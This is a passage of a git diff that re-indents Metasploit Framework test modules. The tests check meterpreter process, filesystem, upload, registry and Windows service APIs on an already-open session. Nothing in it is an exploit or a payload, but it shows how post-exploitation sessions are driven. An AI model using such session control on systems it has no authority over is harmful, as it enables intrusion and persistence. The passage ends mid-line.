place that we have write access. + # + # The +cleanup+ method will change it back. This method is an implementation + # of post/test/file.rb's method of the same name, but without the Post::File + # dependency. + # + def setup + @old_pwd = session.fs.dir.getwd + stat = session.fs.file.stat("/tmp") rescue nil + if (stat and stat.directory?) + tmp = "/tmp" + else + tmp = session.fs.file.expand_path("%TMP%") + end + vprint_status("Setup: changing working directory to #{tmp}") + session.fs.dir.chdir(tmp) - super - end + super + end - def test_sys_process - vprint_status("Starting process tests") - pid = nil + def test_sys_process + vprint_status("Starting process tests") + pid = nil - if session.commands.include? "stdapi_sys_process_getpid" - it "should return its own process id" do - pid = session.sys.process.getpid - vprint_status("Pid: #{pid}") - true - end - else - print_status("Session doesn't implement getpid, skipping test") - end + if session.commands.include? "stdapi_sys_process_getpid" + it "should return its own process id" do + pid = session.sys.process.getpid + vprint_status("Pid: #{pid}") + true + end + else + print_status("Session doesn't implement getpid, skipping test") + end - it "should return a list of processes" do - ret = true - list = session.sys.process.get_processes - ret &&= (list && list.length > 0) - if session.commands.include? "stdapi_sys_process_getpid" - pid ||= session.sys.process.getpid - process = list.find{ |p| p['pid'] == pid } - vprint_status("PID info: #{process.inspect}") - ret &&= !(process.nil?) - else - vprint_status("Session doesn't implement getpid, skipping sanity check") - end + it "should return a list of processes" do + ret = true + list = session.sys.process.get_processes + ret &&= (list && list.length > 0) + if session.commands.include? "stdapi_sys_process_getpid" + pid ||= session.sys.process.getpid + process = list.find{ |p| p['pid'] == pid } + vprint_status("PID info: #{process.inspect}") + ret &&= !(process.nil?) + else + vprint_status("Session doesn't implement getpid, skipping sanity check") + end - ret - end + ret + end - end + end - def test_sys_config - vprint_status("Starting system config tests") + def test_sys_config + vprint_status("Starting system config tests") - it "should return a user id" do - uid = session.sys.config.getuid - true - end + it "should return a user id" do + uid = session.sys.config.getuid + true + end - it "should return a sysinfo Hash" do - sysinfo = session.sys.config.sysinfo - true - end - end + it "should return a sysinfo Hash" do + sysinfo = session.sys.config.sysinfo + true + end + end - def test_net_config - unless (session.commands.include? "stdapi_net_config_get_interfaces") - vprint_status("This meterpreter does not implement get_interfaces, skipping tests") - return - end + def test_net_config + unless (session.commands.include? "stdapi_net_config_get_interfaces") + vprint_status("This meterpreter does not implement get_interfaces, skipping tests") + return + end - vprint_status("Starting networking tests") + vprint_status("Starting networking tests") - it "should return network interfaces" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) + it "should return network interfaces" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) - res - end - it "should have an interface that matches session_host" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) + res + end + it "should have an interface that matches session_host" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) - res &&= !! ifaces.find { |iface| - iface.addrs.find { |addr| - addr == session.session_host - } - } + res &&= !! ifaces.find { |iface| + iface.addrs.find { |addr| + addr == session.session_host + } + } - res - end + res + end - it "should return network routes" do - routes = session.net.config.get_routes + it "should return network routes" do + routes = session.net.config.get_routes - routes and routes.length > 0 - end + routes and routes.length > 0 + end - end + end - def test_fs - vprint_status("Starting filesystem tests") + def test_fs + vprint_status("Starting filesystem tests") - it "should return the proper directory separator" do - sysinfo = session.sys.config.sysinfo - if sysinfo["OS"] =~ /windows/i - sep = session.fs.file.separator - res = (sep == "\\") - else - sep = session.fs.file.separator - res = (sep == "/") - end + it "should return the proper directory separator" do + sysinfo = session.sys.config.sysinfo + if sysinfo["OS"] =~ /windows/i + sep = session.fs.file.separator + res = (sep == "\\") + else + sep = session.fs.file.separator + res = (sep == "/") + end - res - end + res + end - it "should return the current working directory" do - wd = session.fs.dir.pwd - vprint_status("CWD: #{wd}") + it "should return the current working directory" do + wd = session.fs.dir.pwd + vprint_status("CWD: #{wd}") - true - end + true + end - it "should list files in the current directory" do - session.fs.dir.entries - end + it "should list files in the current directory" do + session.fs.dir.entries + end - it "should stat a directory" do - dir = session.fs.dir.pwd - vprint_status("Current directory: #{dir.inspect}") - s = session.fs.file.stat(dir) - vprint_status("Stat of current directory: #{s.inspect}") + it "should stat a directory" do + dir = session.fs.dir.pwd + vprint_status("Current directory: #{dir.inspect}") + s = session.fs.file.stat(dir) + vprint_status("Stat of current directory: #{s.inspect}") - s.directory? - end + s.directory? + end - it "should create and remove a dir" do - res = create_directory("meterpreter-test") - if (res) - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") - end + it "should create and remove a dir" do + res = create_directory("meterpreter-test") + if (res) + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") + end - res - end + res + end - it "should change directories" do - res = create_directory("meterpreter-test") + it "should change directories" do + res = create_directory("meterpreter-test") - old_wd = session.fs.dir.pwd - vprint_status("Old CWD: #{old_wd}") + old_wd = session.fs.dir.pwd + vprint_status("Old CWD: #{old_wd}") - if res - session.fs.dir.chdir("meterpreter-test") - new_wd = session.fs.dir.pwd - vprint_status("New CWD: #{new_wd}") - res &&= (new_wd =~ /meterpreter-test$/) + if res + session.fs.dir.chdir("meterpreter-test") + new_wd = session.fs.dir.pwd + vprint_status("New CWD: #{new_wd}") + res &&= (new_wd =~ /meterpreter-test$/) - if res - session.fs.dir.chdir("..") - wd = session.fs.dir.pwd - vprint_status("Back to old CWD: #{wd}") - end - end - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") + if res + session.fs.dir.chdir("..") + wd = session.fs.dir.pwd + vprint_status("Back to old CWD: #{wd}") + end + end + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") - res - end + res + end - it "should create and remove files" do - res = true - res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| - fd.write("test") - } + it "should create and remove files" do + res = true + res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| + fd.write("test") + } - vprint_status("Wrote to meterpreter-test, checking contents") - res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| - contents = fd.read - vprint_status("Wrote #{contents}") - (contents == "test") - } + vprint_status("Wrote to meterpreter-test, checking contents") + res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| + contents = fd.read + vprint_status("Wrote #{contents}") + (contents == "test") + } - session.fs.file.rm("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") + session.fs.file.rm("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") - res - end + res + end - it "should upload a file" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") + it "should upload a file" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") - if res - fd = session.fs.file.new(remote, "rb") - uploaded_contents = fd.read - until (fd.eof?) - uploaded_contents << fd.read - end - fd.close - original_contents = ::File.read(local) + if res + fd = session.fs.file.new(remote, "rb") + uploaded_contents = fd.read + until (fd.eof?) + uploaded_contents << fd.read + end + fd.close + original_contents = ::File.read(local) - res &&= !!(uploaded_contents == original_contents) - end + res &&= !!(uploaded_contents == original_contents) + end - session.fs.file.rm(remote) - res - end - if session.commands.include?("stdapi_fs_file_move") - it "should move files" do - res = true + session.fs.file.rm(remote) + res + end + if session.commands.include?("stdapi_fs_file_move") + it "should move files" do + res = true - # Make sure we don't have leftovers from a previous run - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil + # Make sure we don't have leftovers from a previous run + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil - # touch a new file - fd = session.fs.file.open("meterpreter-test", "wb") - fd.close + # touch a new file + fd = session.fs.file.open("meterpreter-test", "wb") + fd.close - session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") - entries = session.fs.dir.entries - res &&= entries.include?("meterpreter-test-moved") - res &&= !entries.include?("meterpreter-test") + session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") + entries = session.fs.dir.entries + res &&= entries.include?("meterpreter-test-moved") + res &&= !entries.include?("meterpreter-test") - # clean up - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil + # clean up + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil - res - end - end + res + end + end - it "should do md5 and sha1 of files" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") + it "should do md5 and sha1 of files" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") - if res - remote_md5 = session.fs.file.md5(remote) - local_md5 = Digest::MD5.digest(::File.read(local)) - remote_sha = session.fs.file.sha1(remote) - local_sha = Digest::SHA1.digest(::File.read(local)) - vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") - vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") - vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") - vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") - res &&= (remote_md5 == local_md5) - end + if res + remote_md5 = session.fs.file.md5(remote) + local_md5 = Digest::MD5.digest(::File.read(local)) + remote_sha = session.fs.file.sha1(remote) + local_sha = Digest::SHA1.digest(::File.read(local)) + vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") + vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") + vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") + vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") + res &&= (remote_md5 == local_md5) + end - session.fs.file.rm(remote) - res - end + session.fs.file.rm(remote) + res + end - end + end =begin - # Sniffer currently crashes on any OS that requires driver signing, - # i.e. everything vista and newer - # - # Disable loading it for now to make it through the rest of the tests. - # - def test_sniffer - begin - session.core.use "sniffer" - rescue - # Not all meterpreters have a sniffer extension, don't count it - # against them. - return - end + # Sniffer currently crashes on any OS that requires driver signing, + # i.e. everything vista and newer + # + # Disable loading it for now to make it through the rest of the tests. + # + def test_sniffer + begin + session.core.use "sniffer" + rescue + # Not all meterpreters have a sniffer extension, don't count it + # against them. + return + end - it "should list interfaces for sniffing" do - session.sniffer.interfaces.kind_of? Array - end + it "should list interfaces for sniffing" do + session.sniffer.interfaces.kind_of? Array + end - # XXX: how do we test this more thoroughly in a generic way? - end + # XXX: how do we test this more thoroughly in a generic way? + end =end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + session.fs.dir.chdir(@old_pwd) + super + end protected - def create_directory(name) - res = true + def create_directory(name) + res = true - session.fs.dir.mkdir(name) - entries = session.fs.dir.entries - res &&= entries.include?(name) - res &&= session.fs.file.stat(name).directory? - if res - vprint_status("Directory created successfully") - end + session.fs.dir.mkdir(name) + entries = session.fs.dir.entries + res &&= entries.include?(name) + res &&= session.fs.file.stat(name).directory? + if res + vprint_status("Directory created successfully") + end - res - end + res + end end diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index df39567089..e829b1e432 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -15,83 +15,83 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Railgun + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun - def initialize(info={}) - super( update_info( info, - 'Name' => 'railgun_testing', - 'Description' => %q{ This module will test railgun code used in post modules}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith'], - 'Platform' => [ 'windows' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'railgun_testing', + 'Description' => %q{ This module will test railgun code used in post modules}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith'], + 'Platform' => [ 'windows' ] + )) - register_options( - [ - OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), - OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), - OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), - OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), - ], self.class) + register_options( + [ + OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), + OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), + OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), + OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), + ], self.class) - end + end - def test_static + def test_static - it "should return a constant name given a const and a filter" do - ret = true - results = select_const_names(4, /^SERVICE/) + it "should return a constant name given a const and a filter" do + ret = true + results = select_const_names(4, /^SERVICE/) - ret &&= !!(results.kind_of? Array) - # All of the returned values should match the filter and have the same value - results.each { |const| - ret &&= !!(const =~ /^SERVICE/) - ret &&= !!(session.railgun.constant_manager.parse(const) == 4) - } + ret &&= !!(results.kind_of? Array) + # All of the returned values should match the filter and have the same value + results.each { |const| + ret &&= !!(const =~ /^SERVICE/) + ret &&= !!(session.railgun.constant_manager.parse(const) == 4) + } - # Should include things that match the filter and the value - ret &&= !!(results.include? "SERVICE_RUNNING") - # Should NOT include things that match the value but not the filter - ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") + # Should include things that match the filter and the value + ret &&= !!(results.include? "SERVICE_RUNNING") + # Should NOT include things that match the value but not the filter + ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") - ret - end + ret + end - it "should return an error string given an error code" do - ret = true - results = lookup_error(0x420, /^ERROR_SERVICE/) - ret &&= !!(results.kind_of? Array) - ret &&= !!(results.length == 1) + it "should return an error string given an error code" do + ret = true + results = lookup_error(0x420, /^ERROR_SERVICE/) + ret &&= !!(results.kind_of? Array) + ret &&= !!(results.length == 1) - ret - end + ret + end - end + end - def test_datastore + def test_datastore - if (datastore["WIN_CONST"]) - it "should look up arbitrary constants" do - ret = true - results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") + if (datastore["WIN_CONST"]) + it "should look up arbitrary constants" do + ret = true + results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") - ret - end - end + ret + end + end - if (datastore["ERR_CODE"]) - it "should look up arbitrary error codes" do - ret = true - results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.inspect}") + if (datastore["ERR_CODE"]) + it "should look up arbitrary error codes" do + ret = true + results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) + #vprint_status("RESULTS: #{results.class} #{results.inspect}") - ret - end - end + ret + end + end - end + end end diff --git a/test/modules/post/test/registry.rb b/test/modules/post/test/registry.rb index 527cf190c1..d22b3fc7aa 100644 --- a/test/modules/post/test/registry.rb +++ b/test/modules/post/test/registry.rb @@ -15,141 +15,141 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Registry + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Registry - def initialize(info={}) - super( update_info( info, - 'Name' => 'registry_post_testing', - 'Description' => %q{ This module will test Post::Windows::Registry API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'kernelsmith', # original - 'egypt', # PostTest conversion - ], - 'Platform' => [ 'windows' ] - )) - end + def initialize(info={}) + super( update_info( info, + 'Name' => 'registry_post_testing', + 'Description' => %q{ This module will test Post::Windows::Registry API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'kernelsmith', # original + 'egypt', # PostTest conversion + ], + 'Platform' => [ 'windows' ] + )) + end - def test_0_registry_read - pending "should evaluate key existence" do - # these methods are not implemented - k_exists = registry_key_exist?(%q#HKCU\Environment#) - k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) + def test_0_registry_read + pending "should evaluate key existence" do + # these methods are not implemented + k_exists = registry_key_exist?(%q#HKCU\Environment#) + k_dne = registry_key_exist?(%q#HKLM\\Non\Existent\Key#) - (k_exists && !k_dne) - end + (k_exists && !k_dne) + end - pending "should evaluate value existence" do - # these methods are not implemented - v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") - v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") + pending "should evaluate value existence" do + # these methods are not implemented + v_exists = registry_value_exist?(%q#HKCU\Environment#, "TEMP") + v_dne = registry_value_exist?(%q#HKLM\\Non\Existent\Key#, "asdf") - (v_exists && !v_dne) - end + (v_exists && !v_dne) + end - it "should read values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"]) - ret &&= !!(valinfo["Type"]) + it "should read values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"]) + ret &&= !!(valinfo["Type"]) - valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") - ret &&= !!(valinfo["Data"] == valdata) + valdata = registry_getvaldata(%q#HKCU\Environment#, "TEMP") + ret &&= !!(valinfo["Data"] == valdata) - ret - end + ret + end - it "should return normalized values" do - ret = true - valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") - if (valinfo.nil?) - ret = false - else - # type == 2 means string - ret &&= !!(valinfo["Type"] == 2) - ret &&= !!(valinfo["Data"].kind_of? String) + it "should return normalized values" do + ret = true + valinfo = registry_getvalinfo(%q#HKCU\Environment#, "TEMP") + if (valinfo.nil?) + ret = false + else + # type == 2 means string + ret &&= !!(valinfo["Type"] == 2) + ret &&= !!(valinfo["Data"].kind_of? String) - valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") - if (valinfo.nil?) - ret = false - else - # type == 4 means DWORD - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - end - end + valinfo = registry_getvalinfo(%q#HKLM\Software\Microsoft\Active Setup#, "DisableRepair") + if (valinfo.nil?) + ret = false + else + # type == 4 means DWORD + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + end + end - ret - end + ret + end - it "should enumerate keys and values" do - ret = true - # Has no keys, should return an empty Array - keys = registry_enumkeys(%q#HKCU\Environment#) - ret &&= (keys.kind_of? Array) + it "should enumerate keys and values" do + ret = true + # Has no keys, should return an empty Array + keys = registry_enumkeys(%q#HKCU\Environment#) + ret &&= (keys.kind_of? Array) - vals = registry_enumvals(%q#HKCU\Environment#) - ret &&= (vals.kind_of? Array) - ret &&= (vals.count > 0) - ret &&= (vals.include? "TEMP") + vals = registry_enumvals(%q#HKCU\Environment#) + ret &&= (vals.kind_of? Array) + ret &&= (vals.count > 0) + ret &&= (vals.include? "TEMP") - ret - end + ret + end - end + end - def test_1_registry_write - it "should create keys" do - ret = registry_createkey(%q#HKCU\test_key#) - end + def test_1_registry_write + it "should create keys" do + ret = registry_createkey(%q#HKCU\test_key#) + end - it "should write REG_SZ values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - if (valinfo.nil?) - ret = false - else - # type == REG_SZ means string - ret &&= !!(valinfo["Type"] == 1) - ret &&= !!(valinfo["Data"].kind_of? String) - ret &&= !!(valinfo["Data"] == "str!") - end + it "should write REG_SZ values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_str", "str!", "REG_SZ") + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + if (valinfo.nil?) + ret = false + else + # type == REG_SZ means string + ret &&= !!(valinfo["Type"] == 1) + ret &&= !!(valinfo["Data"].kind_of? String) + ret &&= !!(valinfo["Data"] == "str!") + end - ret - end + ret + end - it "should write REG_DWORD values" do - ret = true - registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - if (valinfo.nil?) - ret = false - else - ret &&= !!(valinfo["Type"] == 4) - ret &&= !!(valinfo["Data"].kind_of? Numeric) - ret &&= !!(valinfo["Data"] == 1234) - end - ret - end + it "should write REG_DWORD values" do + ret = true + registry_setvaldata(%q#HKCU\test_key#, "test_val_dword", 1234, "REG_DWORD") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + if (valinfo.nil?) + ret = false + else + ret &&= !!(valinfo["Type"] == 4) + ret &&= !!(valinfo["Data"].kind_of? Numeric) + ret &&= !!(valinfo["Data"] == 1234) + end + ret + end - it "should delete keys" do - ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") - # getvalinfo should return nil for a non-existent key - ret &&= (valinfo.nil?) - ret &&= registry_deletekey(%q#HKCU\test_key#) - # Deleting the key should delete all its values - valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") - ret &&= (valinfo.nil?) + it "should delete keys" do + ret = registry_deleteval(%q#HKCU\test_key#, "test_val_str") + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_str") + # getvalinfo should return nil for a non-existent key + ret &&= (valinfo.nil?) + ret &&= registry_deletekey(%q#HKCU\test_key#) + # Deleting the key should delete all its values + valinfo = registry_getvalinfo(%q#HKCU\test_key#, "test_val_dword") + ret &&= (valinfo.nil?) - ret - end + ret + end - end + end end diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb index 005fa01ce7..a09af403ec 100644 --- a/test/modules/post/test/services.rb +++ b/test/modules/post/test/services.rb @@ -11,176 +11,176 @@ require 'module_test' class Metasploit3 < Msf::Post - include Msf::Post::Windows::Services + include Msf::Post::Windows::Services - include Msf::ModuleTest::PostTest + include Msf::ModuleTest::PostTest - def initialize(info={}) - super( update_info( info, - 'Name' => 'Test Post::Windows::Services', - 'Description' => %q{ This module will test windows services methods within a shell}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith', 'egypt' ], - 'Version' => '$Revision: 11663 $', - 'Platform' => [ 'windows' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - register_options( - [ - OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), - OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), - OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), - OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), - OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), - OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", - ["auto", "manual", "disable"] - ]), - ], self.class) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Test Post::Windows::Services', + 'Description' => %q{ This module will test windows services methods within a shell}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith', 'egypt' ], + 'Version' => '$Revision: 11663 $', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + register_options( + [ + OptString.new("QSERVICE" , [true, "Service (keyname) to query", "winmgmt"]), + OptString.new("NSERVICE" , [true, "New Service (keyname) to create/del", "testes"]), + OptString.new("SSERVICE" , [true, "Service (keyname) to start/stop", "W32Time"]), + OptString.new("DNAME" , [true, "Display name used for create test", "Cool display name"]), + OptString.new("BINPATH" , [true, "Binary path for create test", "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs"]), + OptEnum.new("MODE", [true, "Mode to use for startup/create tests", "auto", + ["auto", "manual", "disable"] + ]), + ], self.class) - end + end - def test_start - it "should start #{datastore["SSERVICE"]}" do - ret = true - results = service_start(datastore['SSERVICE']) - if results != 0 - # Failed the first time, try to stop it first, then try again - service_stop(datastore['SSERVICE']) - results = service_start(datastore['SSERVICE']) - end - ret &&= (results == 0) + def test_start + it "should start #{datastore["SSERVICE"]}" do + ret = true + results = service_start(datastore['SSERVICE']) + if results != 0 + # Failed the first time, try to stop it first, then try again + service_stop(datastore['SSERVICE']) + results = service_start(datastore['SSERVICE']) + end + ret &&= (results == 0) - ret - end - it "should stop #{datastore["SSERVICE"]}" do - ret = true - results = service_stop(datastore['SSERVICE']) - ret &&= (results == 0) + ret + end + it "should stop #{datastore["SSERVICE"]}" do + ret = true + results = service_stop(datastore['SSERVICE']) + ret &&= (results == 0) - ret - end - end + ret + end + end - def test_list - it "should list services" do - ret = true - results = service_list + def test_list + it "should list services" do + ret = true + results = service_list - ret &&= results.kind_of? Array - ret &&= results.length > 0 - ret &&= results.include? datastore["QSERVICE"] + ret &&= results.kind_of? Array + ret &&= results.length > 0 + ret &&= results.include? datastore["QSERVICE"] - ret - end - end + ret + end + end - def test_info - it "should return info on a given service" do - ret = true - results = service_info(datastore['QSERVICE']) + def test_info + it "should return info on a given service" do + ret = true + results = service_info(datastore['QSERVICE']) - ret &&= results.kind_of? Hash - if ret - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == "Windows Management Instrumentation") - ret &&= results.has_key? "Startup" - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" - end + ret &&= results.kind_of? Hash + if ret + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == "Windows Management Instrumentation") + ret &&= results.has_key? "Startup" + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" + end - ret - end - end + ret + end + end - def test_create - it "should create a service" do - mode = case datastore["MODE"] - when "disable"; 4 - when "manual"; 3 - when "auto"; 2 - else; 2 - end - ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) + def test_create + it "should create a service" do + mode = case datastore["MODE"] + when "disable"; 4 + when "manual"; 3 + when "auto"; 2 + else; 2 + end + ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode) - ret - end + ret + end - it "should return info on the newly-created service" do - ret = true - results = service_info(datastore['NSERVICE']) + it "should return info on the newly-created service" do + ret = true + results = service_info(datastore['NSERVICE']) - ret &&= results.kind_of? Hash - ret &&= results.has_key? "Name" - ret &&= (results["Name"] == datastore["DNAME"]) - ret &&= results.has_key? "Startup" - ret &&= (results["Startup"].downcase == datastore["MODE"]) - ret &&= results.has_key? "Command" - ret &&= results.has_key? "Credentials" + ret &&= results.kind_of? Hash + ret &&= results.has_key? "Name" + ret &&= (results["Name"] == datastore["DNAME"]) + ret &&= results.has_key? "Startup" + ret &&= (results["Startup"].downcase == datastore["MODE"]) + ret &&= results.has_key? "Command" + ret &&= results.has_key? "Credentials" - ret - end + ret + end - it "should delete the new service" do - ret = service_delete(datastore['NSERVICE']) + it "should delete the new service" do + ret = service_delete(datastore['NSERVICE']) - ret - end - end + ret + end + end =begin - def run - blab = datastore['VERBOSE'] - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type}") - print_status("Verbosity is set to #{blab.to_s}") - print_status("Don't be surprised to see some errors as the script is faster") - print_line("than the windows SCM, just make sure the errors are sane. You can") - print_line("set VERBOSE to true to see more details") + def run + blab = datastore['VERBOSE'] + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type}") + print_status("Verbosity is set to #{blab.to_s}") + print_status("Don't be surprised to see some errors as the script is faster") + print_line("than the windows SCM, just make sure the errors are sane. You can") + print_line("set VERBOSE to true to see more details") - print_status() - print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") - results = service_query_ex(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status() + print_status("TESTING service_query_ex on servicename: #{datastore["QSERVICE"]}") + results = service_query_ex(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status() - print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") - results = service_query_config(datastore['QSERVICE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status() + print_status("TESTING service_query_config on servicename: #{datastore["QSERVICE"]}") + results = service_query_config(datastore['QSERVICE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status() - print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + - "to #{datastore['MODE']}") - results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) - print_status("RESULTS: #{results.class} #{results.pretty_inspect}") - print_status("Current status of this service " + - "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab + print_status() + print_status("TESTING service_change_startup on servicename: #{datastore['QSERVICE']} " + + "to #{datastore['MODE']}") + results = service_change_startup(datastore['QSERVICE'],datastore['MODE']) + print_status("RESULTS: #{results.class} #{results.pretty_inspect}") + print_status("Current status of this service " + + "#{service_query_ex(datastore['QSERVICE']).pretty_inspect}") if blab - print_status() - print_status("TESTING service_start on servicename: 